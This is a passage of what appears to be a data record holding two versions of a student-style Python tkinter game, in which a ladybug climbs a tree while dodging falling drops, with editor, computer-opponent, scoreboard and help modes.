data)\r\n checkLast(event, data)\r\n\r\ndef checkMiddle(event, data):\r\n #check for click on button for rain speed\r\n if data.medX-data.r<= event.y <= data.medX + data.r:\r\n if data.easyX-2*data.r<= event.x<=data.easyX+2*data.r:\r\n data.rainSpeed = \"drizzle\"\r\n data.drizzle = data.click\r\n data.rain, data.thunderstorm = data.notClick, data.notClick\r\n if data.medX-2*data.r<= event.x<=data.medX+2*data.r:\r\n data.rainSpeed = \"rain\"\r\n data.rain = data.click\r\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\r\n if data.hardX-2*data.r<= event.x<=data.hardX+2*data.r:\r\n data.rainSpeed = \"thunderstorm\"\r\n data.thunderstorm = data.click\r\n data.drizzle, data.rain = data.notClick, data.notClick\r\n\r\ndef checkLast(event, data):\r\n #check for click on button for powerups\r\n if data.last-data.r<=event.y<= data.last+data.r:\r\n if data.easyY-2*data.r<= event.x<=data.easyY+2*data.r:\r\n data.powerUpsEditor = True\r\n data.yes, data.no = data.click, data.notClick\r\n if data.last-2*data.r<= event.x<=data.last+2*data.r:\r\n data.powerUpsEditor = False\r\n data.no, data.yes = data.click, data.notClick\r\n if data.enter == data.click:\r\n if data.enterX-data.r<=event.y<=data.enterX+data.r:\r\n if data.medX-2*data.r<= event.x<=data.medX+2*data.r:\r\n data.mode=\"levelCreated\"\r\n \r\n \r\n\r\ndef drawButtons(canvas, data):\r\n #makes each button\r\n data.font, data.fill = \"Helvetica 13 bold\", \"yellow\"\r\n canvas.create_text(data.medX,data.YST, text= \"Your Speed:\",\r\n font = data.font,fill =data.fill)\r\n canvas.create_image(data.easyX,data.easyY, image = data.slow)\r\n canvas.create_text(data.easyX,data.easyY, text=\"Slow\", font = data.font)\r\n canvas.create_image(data.medX,data.easyY, image = data.medium)\r\n canvas.create_text(data.medX,data.easyY, text=\"Medium\", font = data.font)\r\n canvas.create_image(data.hardX,data.easyY, image = data.fast)\r\n canvas.create_text(data.hardX,data.easyY, text=\"Fast\",font = data.font)\r\n canvas.create_image(data.easyX,data.medX, image = data.drizzle)\r\n canvas.create_text(data.medX,data.RST, text= \"Rain Speed:\",\r\n font = data.font,fill =data.fill)\r\n canvas.create_text(data.easyX,data.medX, text=\"Drizzle\",font = data.font)\r\n canvas.create_image(data.medX,data.medX, image = data.rain)\r\n canvas.create_text(data.medX,data.medX, text=\"Rain\",font = data.font)\r\n canvas.create_image(data.hardX,data.medX, image = data.thunderstorm)\r\n canvas.create_text(data.hardX,data.medX, text=\"Heavy\",font = data.font)\r\n canvas.create_text(data.medX,data.PUT, text= \"PowerUps?\",\r\n font = data.font,fill =data.fill)\r\n canvas.create_image(data.easyY,data.last, image = data.yes)\r\n canvas.create_text(data.easyY,data.last, text=\"Yes\",font = data.font)\r\n canvas.create_image(data.last,data.last, image = data.no)\r\n canvas.create_text(data.last,data.last, text=\"No\",font = data.font)\r\n changeEnter(canvas, data)\r\n\r\ndef changeEnter(canvas, data):\r\n #makes it so the enter button respond to click\r\n if data.powerUpsEditor != None and data.yourSpeed != None and \\\r\n data.rainSpeed != None: data.enter = data.click\r\n canvas.create_image(data.medX,data.enterX, image = data.enter)\r\n canvas.create_text(data.medX,data.enterX, text=\"Enter\",font = data.font)\r\n\r\ndef editorTimerFired(data):\r\n data.editorTime += 1\r\n if data.editorTime %2 ==0:\r\n rainDrop(data)\r\n for drop in data.editorDrops:\r\n drop.onTimerFired(data)\r\n\r\ndef rainDrop(data):\r\n #background drops\r\n xPosition = random.randint(0,data.width)\r\n data.editorDrops.append(Coconuts(xPosition,0))\r\n\r\ndef editorRedrawAll(canvas, data):\r\n canvas.create_image(data.width/2, data.height/2, image=data.background)\r\n canvas.create_image(data.width/2, data.height/2, image=data.tbg)\r\n for drop in data.editorDrops:\r\n drop.draw(canvas)\r\n canvas.create_text(data.width/2, data.S_P -10, text = \"Edit Your Level!\",\r\n font=\"Arial 23 bold\", fill = \"yellow\")\r\n drawButtons(canvas, data)\r\n drawHome(canvas, data)\r\n####################################\r\n# levelCreated mode\r\n####################################\r\ndef setEverything(data):\r\n #customizing game\r\n if data.yourSpeed == \"slow\": data.speed = 6\r\n elif data.yourSpeed == \"medium\": data.speed = 10\r\n elif data.yourSpeed == \"fast\": data.speed = 14\r\n if data.rainSpeed == \"thunderstorm\": data.rSpeed = 7\r\n elif data.rainSpeed == \"rain\": data.rSpeed = 10\r\n elif data.rainSpeed == \"drizzle\": data.rSpeed = 13\r\n \r\n\r\ndef levelCoconutShot(data):\r\n #adding drops\r\n if data.levelEditorLives >0:\r\n if data.time%int(0.35*data.rSpeed) == 0:\r\n xPosition1 = random.randint(0,data.Player1Min-data.buffer)\r\n xPosition2 = random.randint(770, 870)\r\n xPosition3 = random.randint(220,770)\r\n data.coconuts.append(Coconuts(xPosition3,0))\r\n data.coconuts.append(Coconuts(xPosition1,0))\r\n data.coconuts.append(Coconuts(xPosition2,0))\r\n if data.time % int(0.55*data.rSpeed) ==0:\r\n xPosition3 = random.randint(0, 220)\r\n xPosition5 = random.randint(220,770)\r\n data.coconuts.append(Coconuts(xPosition3,0))\r\n data.coconuts.append(Coconuts(xPosition5,0))\r\n if data.time % int(data.rSpeed) ==0:\r\n side = random.choice(data.sides)\r\n if side == \"l\": \r\n data.coconuts.append(Coconuts(3*data.width/8-20,0))\r\n elif side ==\"r\":\r\n data.coconuts.append(Coconuts(7*data.width/8+40,0))\r\n xPosition4= random.randint(220,770)\r\n data.coconuts.append(Coconuts(xPosition4,0))\r\n \r\n levelPowerUp(data)\r\n\r\ndef levelPowerUp(data):\r\n # adding power-ups only if clicked yes\r\n if data.powerUpsEditor == True:\r\n if data.time % 20 == 0 and data.time%40 !=0:\r\n Position = random.choice(data.spotList)\r\n data.powerUps.append(PowerUps(Position,0))\r\n if data.time%30 == 0:\r\n Position = random.choice(data.spotList)\r\n data.invincible.append(Invincible(Position,0))\r\n if data.time %35==0:\r\n Position = random.choice(data.spotList)\r\n data.scaryBug.append(ScaryBug(Position,750))\r\n\r\ndef levelCreatedKeyPressed(event,data):\r\n if event.keysym == \"r\": init(data)\r\n if data.levelEditorLives>0:\r\n if (event.keysym == \"Left\") and data.cx>=317:\r\n data.cx -=(data.lane/2)\r\n elif(event.keysym == \"Right\") and data.cx<=740:\r\n data.cx +=(data.lane/2)\r\n\r\ndef levelCreatedMousePressed(event, data):\r\n checkHome(event, data)\r\n\r\ndef levelCreatedTimerFired(data):\r\n setEverything(data)\r\n if data.levelEditorLives>0:\r\n data.cy-=data.speed\r\n if data.cy < 15:\r\n data.level +=1\r\n if data.cy>40:\r\n data.time +=1\r\n if data.pauseDrops !=True: levelCoconutShot(data)\r\n if data.powerUpsEditor == False:\r\n for coconut in data.coconuts: coconut.onTimerFired(data)\r\n hit(data)\r\n if data.powerUpsEditor == True:\r\n for powerUp in data.powerUps: powerUp.onTimerFired(data)\r\n hitPause(data)\r\n for powerUp in data.invincible: powerUp.onTimerFired(data)\r\n hitInvincible(data)\r\n for bug in data.scaryBug: bug.onTimerFired(data)\r\n hitScaryBug(data)\r\n for coconut in data.coconuts:\r\n if data.pauseDrops == False:coconut.onTimerFired(data)\r\n if data.beInvincible == False: hit(data)\r\n if data.start != None:\r\n #to make powerups only active for set amount of time\r\n if abs(data.start-data.cy) >= 120:\r\n data.pauseDrops, data.beInvincible = False, False\r\n\r\n\r\ndef levelCreatedRedrawAll(canvas, data):\r\n canvas.create_image(data.width/2, data.height/2, image=data.background)\r\n canvas.create_line(0,20, data.width, 20)\r\n for coconut in data.coconuts: coconut.draw(canvas)\r\n if data.powerUpsEditor == True: drawPowerups(canvas, data)\r\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\r\n canvas.create_text(data.width/6,100,\r\n text =\"Total Lives: %d\" %data.levelEditorLives,\r\n font = \"Arial 20 bold\", fill = \"yellow\")\r\n canvas.create_text(data.width/2,660,\r\n text =\"\"\"You lose a life for hitting a drop\r\n & don't get eaten!\"\"\",\r\n font = \"Arial 15 bold\", fill = \"yellow\")\r\n if data.levelEditorLives <=0:\r\n canvas.create_rectangle(0,0, data.width, data.height, fill = \"black\")\r\n canvas.create_image(data.width/2, data.height/2, image=data.deadScreen)\r\n canvas.create_text(data.width/2,data.height/4,\r\n text = \"You Lose! Better Luck Next Time!\",\r\n font = \"Helvetica 23 bold\", fill = \"yellow\") \r\n if data.level > 1: winEditor(canvas, data)\r\n drawHome(canvas, data)\r\n\r\ndef winEditor(canvas, data):\r\n #screen for when you win\r\n canvas.create_rectangle(0,0, data.width, data.height, fill = \"black\")\r\n canvas.create_image(data.width/2, data.height/2, image=data.winScreen)\r\n canvas.create_image(300, 320, image=data.winBug)\r\n canvas.create_text(data.width/2,100, text = \"You Made it!\",\r\n font = \"Arial 23 bold\", fill = \"yellow\")\r\n\r\n####################################\r\n# AI Difficulty Mode\r\n####################################\r\ndef difficultyKeyPressed(event,data):\r\n if event.keysym == \"r\": init(data)\r\n\r\ndef drawDifficulties(canvas, data):\r\n canvas.create_text(data.medX,data.AITY, text= \"Computer Difficulty:\",\r\n font=\"Arial 23 bold\", fill = \"yellow\") \r\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\r\n canvas.create_text(data.easyX,data.easyY, text=\"Easy\")\r\n canvas.create_image(data.medX, data.easyY, image=data.medium)\r\n canvas.create_text(data.medX,data.easyY, text=\"Medium\")\r\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\r\n canvas.create_text(data.hardX,data.easyY, text=\"Hard\")\r\n if data.difficulty !=None:\r\n data.enter = data.click\r\n canvas.create_image(data.medX, data.enterY, image=data.enter)\r\n canvas.create_text(data.medX,data.enterY, text=\"Enter\")\r\n\r\ndef difficultyMousePressed(event, data):\r\n #sets up buttons to customize\r\n checkHome(event, data)\r\n if data.easyY-data.r<= event.y <= data.easyY +data.r:\r\n if data.easyX-2*data.r<= event.x<=data.easyX+2*data.r:\r\n data.difficulty = data.difS\r\n data.slow = data.click\r\n data.medium, data.fast = data.notClick, data.notClick\r\n if data.medX-2*data.r<= event.x<=data.medX+2*data.r:\r\n data.difficulty = data.difM\r\n data.medium = data.click\r\n data.slow, data.fast = data.notClick, data.notClick\r\n if data.hardX-2*data.r<= event.x<=data.hardX+2*data.r:\r\n data.difficulty = data.difH\r\n data.fast = data.click\r\n data.slow, data.medium = data.notClick, data.notClick\r\n if data.enter == data.click:\r\n if data.enterY-data.r<=event.y<=data.enterY+data.r:\r\n if data.medX-2*data.r<= event.x<=data.medX+2*data.r:\r\n data.mode=\"AI\"\r\n\r\ndef difficultyTimerFired(data):\r\n # makes normal background rain\r\n data.editorTime += 1\r\n if data.editorTime %2 ==0:\r\n rainDrop(data)\r\n for drop in data.editorDrops:\r\n drop.onTimerFired(data)\r\n\r\ndef rainDrop(data):\r\n xPosition = random.randint(0,data.width)\r\n data.editorDrops.append(Coconuts(xPosition,0))\r\n\r\ndef difficultyRedrawAll(canvas, data):\r\n canvas.create_image(data.width/2, data.height/2, image=data.background)\r\n canvas.create_image(data.width/2, data.height/2, image=data.tbg)\r\n for drop in data.editorDrops:\r\n drop.draw(canvas)\r\n drawDifficulties(canvas, data)\r\n drawHome(canvas, data)\r\n\r\n####################################\r\n# AI mode\r\n####################################\r\ndef hitAI1(data, distance):\r\n for coconut in data.coconutsAI1:\r\n # so AI switches by itself\r\n if (data.player1Y-data.r - coconut.y<=distance) and \\\r\n data.switchOnProgress == False:\r\n if coconut.x>=data.player1X-data.r and \\\r\n coconut.x<=data.player1X+data.r or AISwitchBug(data,distance)==True:\r\n testInt = random.randint(0,9)\r\n # to have different levels of difficulty\r\n if testInt<= data.difficulty:\r\n data.switchOnProgress= True\r\n if data.player1X == 150:\r\n data.player1X = 340\r\n else:\r\n data.player1X = 150\r\n data.switchOnProgress= False\r\n if coconut.y>=data.player1Y-data.r and coconut.y<=data.player1Y+data.r:\r\n if coconut.x>=data.player1X-data.r and \\\r\n coconut.x<=data.player1X+data.r:\r\n data.player1Y+=50\r\n data.coconutsAI1.remove(coconut)\r\n\r\ndef AISwitchBug(data, distance):\r\n #AI to move for spider\r\n for scaryBug in data.scaryBug:\r\n if (data.player1Y-data.r - scaryBug.y<=distance) and \\\r\n data.switchOnProgress == False:\r\n if scaryBug.x>=data.player1X-data.r and \\\r\n scaryBug.x<=data.player1X+data.r:\r\n return True\r\n\r\ndef hitAI2(data, distance):\r\n # check if human controlled player hits drops\r\n for coconut in data.coconutsAI2:\r\n if coconut.y>=data.player2Y-data.r and coconut.y<=data.player2Y+data.r:\r\n if coconut.x>=data.player2X-data.r and \\\r\n coconut.x<=data.player2X+data.r:\r\n data.player2Y+=50 \r\n data.coconutsAI2.remove(coconut)\r\n \r\ndef coconutShotAI(data):\r\n if data.winner ==None:\r\n # randomize position of drops off of tree\r\n if data.time%15==0:\r\n xPosition1 = random.randint(0,385)\r\n if abs(xPosition1 - 100)>40 and abs(xPosition1 - 360)>40:\r\n if data.pause1Drop != True:\r\n data.coconutsAI1.append(Coconuts(xPosition1,0))\r\n if data.pause2Drop != True:\r\n data.coconutsAI2.append(Coconuts(xPosition1 +410,0))\r\n if data.time%8 ==0:\r\n xPosition2 = random.randint(0,80)\r\n xPosition3 = random.randint(364, 385)\r\n if data.pause1Drop != True:\r\n data.coconutsAI1.append(Coconuts(xPosition2,0))\r\n data.coconutsAI1.append(Coconuts(xPosition3,0)) \r\n if data.pause2Drop != True:\r\n data.coconutsAI2.append(Coconuts(xPosition2+410,0))\r\n data.coconutsAI2.append(Coconuts(xPosition3+410,0))\r\n addExtraCoconut(data)\r\n addPowerUpsAI(data)\r\n\r\ndef addExtraCoconut(data):\r\n #adds drops to edges of trees\r\n if data.time % (18) ==0:\r\n side = random.choice(data.sides)\r\n if side == \"l\":\r\n if data.pause1Drop != True:\r\n data.coconutsAI1.append(Coconuts(140,0))\r\n if data.pause2Drop != True:\r\n data.coconutsAI2.append(Coconuts(540,0))\r\n elif side ==\"r\":\r\n if data.pause1Drop != True:\r\n data.coconutsAI1.append(Coconuts(344,0))\r\n if data.pause2Drop != True:\r\n data.coconutsAI2.append(Coconuts(755,0))\r\n if data.time % 37 == 0:\r\n side = random.choice(data.sides)\r\n if side == \"l\":\r\n if data.pause1Drop != True:\r\n data.powerUps.append(PowerUps(140,0))\r\n if data.pause2Drop != True:\r\n data.powerUps.append(PowerUps(550,0))\r\n elif side ==\"r\":\r\n if data.pause1Drop != True:\r\n data.powerUps.append(PowerUps(344,0))\r\n if data.pause2Drop != True:\r\n data.powerUps.append(PowerUps(755,0))\r\n \r\ndef addPowerUpsAI(data):\r\n #randomly add powerups on tree\r\n if data.time%33 == 0:\r\n side = random.choice(data.sides)\r\n if side == \"l\":\r\n if data.pause1Drop != True:\r\n data.invincible.append(Invincible(140,0))\r\n if data.pause2Drop != True:\r\n data.invincible.append(Invincible(550,0))\r\n elif side ==\"r\":\r\n if data.pause1Drop != True:\r\n data.invincible.append(Invincible(344,0))\r\n if data.pause2Drop != True:\r\n data.invincible.append(Invincible(755,0))\r\n if data.time %66==0:\r\n side = random.choice(data.sides) \r\n if side == \"l\":\r\n data.scaryBug.append(ScaryBug(140,750))\r\n data.scaryBug.append(ScaryBug(550,750))\r\n elif side ==\"r\":\r\n data.scaryBug.append(ScaryBug(344,750))\r\n data.scaryBug.append(ScaryBug(750,750))\r\n\r\n \r\ndef AIKeyPressed(event,data):\r\n if event.keysym == \"r\": init(data)\r\n if data.winner==None:\r\n if (event.keysym == \"Left\") and data.onLeft1==False:\r\n data.onLeft1 = True\r\n data.player2X = 550\r\n elif(event.keysym == \"Right\") and data.onLeft1== True:\r\n data.onLeft1 = False\r\n data.player2X = 750\r\n\r\ndef AIMousePressed(event, data): checkHome(event, data)\r\ndef AITimerFired(data):\r\n if data.winner == None:\r\n #want to check hit twice (before & after elements move)\r\n if data.Invincible1 == False:hitAI1(data, 31)\r\n if data.Invincible2 == True: pass\r\n elif data.Invincible2 == False:hitAI2(data, 31)\r\n for coconut in data.coconutsAI1:\r\n if data.pause1Drop == False:coconut.onTimerFired(data)\r\n for coconut in data.coconutsAI2:\r\n if data.pause2Drop == False:coconut.onTimerFired(data)\r\n # second check\r\n if data.Invincible1 == False:hitAI1(data,13)\r\n if data.Invincible2 == True:pass\r\n elif data.Invincible2 == False:hitAI2(data,13)\r\n data.player1Y-=data.speedAI\r\n #establishing winer\r\n if data.player1Y < 15 and data.player2Y >15: data.winner= \"player1\"\r\n if data.player1Y>40:\r\n data.time +=1\r\n coconutShotAI(data)\r\n data.player2Y-=data.speedAI\r\n if data.player2Y < 15 and data.player1Y> 15: data.winner= \"player2\" \r\n if data.player2Y>40:\r\n data.time +=1\r\n coconutShotAI(data)\r\n if data.player1Y < 15 and data.player2Y <15: data.winner = \"tie\"\r\n for powerUp in data.powerUps: powerUp.onTimerFired(data)\r\n hitPause(data)\r\n powerUpAITimerFired(data)\r\n\r\ndef powerUpAITimerFired(data):\r\n #moves both sides symmetrically \r\n for powerUp in data.invincible:\r\n powerUp.onTimerFired(data)\r\n hitInvincible(data)\r\n for bug in data.scaryBug:\r\n bug.onTimerFired(data)\r\n hitScaryBug(data)\r\n if data.start1 != None:\r\n if abs(data.start1-data.player1Y) >= 120:\r\n data.pause1Drop = False\r\n data.Invincible1 = False\r\n if data.start2 != None:\r\n if abs(data.start2-data.player2Y) >= 120:\r\n data.pause2Drop = False\r\n data.Invincible2 = False\r\n \r\n\r\n\r\ndef AIRedrawAll(canvas, data):\r\n canvas.create_image(data.width/4, data.height/2, image=data.halfBackground)\r\n canvas.create_image(3*data.width/4, data.height/2,image=data.halfBackground)\r\n canvas.create_line(data.width/2, 0, data.width/2, data.height, width = 10)\r\n canvas.create_line(0,20, data.width, 20)\r\n for coconut in data.coconutsAI1:\r\n coconut.draw(canvas)\r\n for coconut in data.coconutsAI2:\r\n coconut.draw(canvas)\r\n canvas.create_text(50,40, text = \"Computer\",font = \"Arial 15 bold\",\r\n fill = \"yellow\")\r\n canvas.create_text(450,40, text = \"Player 1\",font = \"Arial 15 bold\",\r\n fill = \"yellow\")\r\n drawPowerups(canvas, data)\r\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\r\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\r\n AIWinner(canvas, data)\r\n drawHome(canvas, data)\r\n\r\ndef AIWinner(canvas, data):\r\n if data.winner== \"player1\":\r\n canvas.create_rectangle(0,0, data.width, data.height, fill = \"black\")\r\n canvas.create_image(data.width/2, data.height/2, image=data.winScreen)\r\n canvas.create_image(300, 320, image=data.winBug)\r\n canvas.create_text(data.width/2,100, text = \"The Computer Won :(\",\r\n font = \"Arial 23 bold\", fill = \"yellow\")\r\n elif data.winner== \"player2\":\r\n canvas.create_rectangle(0,0, data.width, data.height, fill = \"black\")\r\n canvas.create_image(data.width/2, data.height/2, image=data.winScreen)\r\n canvas.create_image(300, 320, image=data.winBug)\r\n canvas.create_text(data.width/2,100, text = \"You Made it! You Won!\",\r\n font = \"Arial 23 bold\", fill = \"yellow\")\r\n elif data.winner== \"tie\":\r\n canvas.create_rectangle(0,0, data.width, data.height, fill = \"black\")\r\n canvas.create_image(data.width/2, data.height/2, image=data.winScreen)\r\n canvas.create_image(300, 320, image=data.winBug)\r\n canvas.create_text(data.width/2,100, text = \"Tie! You Both Made it!\",\r\n font = \"Arial 23 bold\", fill = \"yellow\")\r\n####################################\r\n# ScoreBoard mode\r\n####################################\r\n\r\ndef scoreboardKeyPressed(event, data):\r\n if event.keysym == \"r\": init(data)\r\n\r\ndef scoreboardMousePressed(event, data): checkHome(event, data)\r\n\r\ndef scoreboardTimerFired(data):\r\n difficultyTimerFired(data)\r\n\r\ndef scoreboardRedrawAll(canvas, data):\r\n canvas.create_image(data.width/2, data.height/2, image=data.background)\r\n canvas.create_image(data.width/2, data.tbgY, image=data.tbg)\r\n for drop in data.editorDrops:\r\n drop.draw(canvas)\r\n canvas.create_text(data.width/2, data.txtTScore, text=\"Top Scores!\",\r\n font = \"Arial 30 bold\", fill = \"yellow\")\r\n canvas.create_text(data.width/2, data.S_P, text=\"Score_Player\",\r\n font = \"Arial 20 bold\", fill = \"yellow\")\r\n drawHome(canvas, data)\r\n #reads file\r\n data.savedScores\r\n data.savedScores=readFile(\"score.txt\")\r\n score=data.savedScores.splitlines()\r\n scores=[]\r\n for line in score:\r\n scores.append(line.split(\",\"))\r\n #sorts scores to find top 5\r\n scores = sorted(scores, key = lambda x: int(x[0]))\r\n top5 = scores[-data.numScores:]\r\n top5.reverse()\r\n for i in range(len(top5)):\r\n canvas.create_text(data.width/2, data.scoreShift+(i*50),\r\n text = top5[i],\r\n font = \"Arial 18 bold\", fill = \"yellow\")\r\n\r\n####################################\r\n# help mode\r\n####################################\r\n\r\ndef helpKeyPressed(event, data):\r\n if event.keysym == \"r\": init(data)\r\n\r\ndef helpMousePressed(event, data): checkHome(event, data)\r\n\r\ndef helpTimerFired(data):\r\n difficultyTimerFired(data)\r\n\r\ndef helpRedrawAll(canvas, data):\r\n canvas.create_image(data.width/2, data.helpY, image=data.helpScreen)\r\n for drop in data.editorDrops:\r\n drop.draw(canvas)\r\n drawHome(canvas, data)\r\n\r\n#######################################\r\n# use the run function as-is from notes\r\n#######################################\r\n\r\ndef run(width=15000, height=25000):\r\n def redrawAllWrapper(canvas, data):\r\n canvas.delete(ALL)\r\n redrawAll(canvas, data)\r\n canvas.update() \r\n\r\n def mousePressedWrapper(event, canvas, data):\r\n mousePressed(event, data)\r\n redrawAllWrapper(canvas, data)\r\n\r\n def keyPressedWrapper(event, canvas, data):\r\n keyPressed(event, data)\r\n redrawAllWrapper(canvas, data)\r\n\r\n def timerFiredWrapper(canvas, data):\r\n timerFired(data)\r\n redrawAllWrapper(canvas, data)\r\n # pause, then call timerFired again\r\n canvas.after(data.timerDelay, timerFiredWrapper, canvas, data)\r\n # Set up data and call init\r\n class Struct(object): pass\r\n data = Struct()\r\n data.width = width\r\n data.height = height\r\n data.timerDelay = 100 # milliseconds\r\n # create the root and the canvas\r\n root = Tk()\r\n init(data)\r\n canvas = Canvas(root, width=data.width, height=data.height)\r\n canvas.pack()\r\n # set up events\r\n root.bind(\"<Button-1>\", lambda event:\r\n mousePressedWrapper(event, canvas, data))\r\n root.bind(\"<Key>\", lambda event:\r\n keyPressedWrapper(event, canvas, data))\r\n timerFiredWrapper(canvas, data)\r\n # and launch the app\r\n root.mainloop() # blocks until window is closed\r\n print(\"bye!\")\r\n\r\nrun(1000, 1000)\r\n", "from tkinter import *\nimport random\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\ndef initScoreBoardHelp(data):\n data.tbgY = 5 * data.height / 12\n data.txtTScore = 150\n data.S_P = 220\n data.numScores = 5\n data.scorePos = data.height / 10\n data.scoreShift = 270\n data.helpY = data.height / 2 - 20\n data.name = ''\n data.printName = ''\n data.hit = False\n initAI(data)\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\ndef mousePressed(event, data):\n if data.mode == 'splashScreen':\n splashScreenMousePressed(event, data)\n elif data.mode == '1Player':\n playerMousePressed(event, data)\n elif data.mode == '2Player':\n twoPlayerMousePressed(event, data)\n elif data.mode == 'editor':\n editorMousePressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedMousePressed(event, data)\n elif data.mode == 'AI':\n AIMousePressed(event, data)\n elif data.mode == 'difficulty':\n difficultyMousePressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardMousePressed(event, data)\n elif data.mode == 'help':\n helpMousePressed(event, data)\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\ndef splashScreenMousePressed(event, data):\n if (data.splashButtonY - 2 * data.r <= event.x <= data.splashButtonY + \n 2 * data.r):\n if data.p1ButtonX - data.r <= event.y <= data.p1ButtonX + data.r:\n data.mode = '1Player'\n if data.p2ButtonX - data.r <= event.y <= data.p2ButtonX + data.r:\n data.mode = '2Player'\n if data.edButton - data.r <= event.y <= data.edButton + data.r:\n data.mode = 'editor'\n if data.diffButton - data.r <= event.y <= data.diffButton + data.r:\n data.mode = 'difficulty'\n if data.helpButton - data.r <= event.y <= data.helpButton + data.r:\n data.mode = 'help'\n if data.sboardButton - data.r <= event.y <= data.sboardButton + data.r:\n data.mode = 'scoreboard'\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, 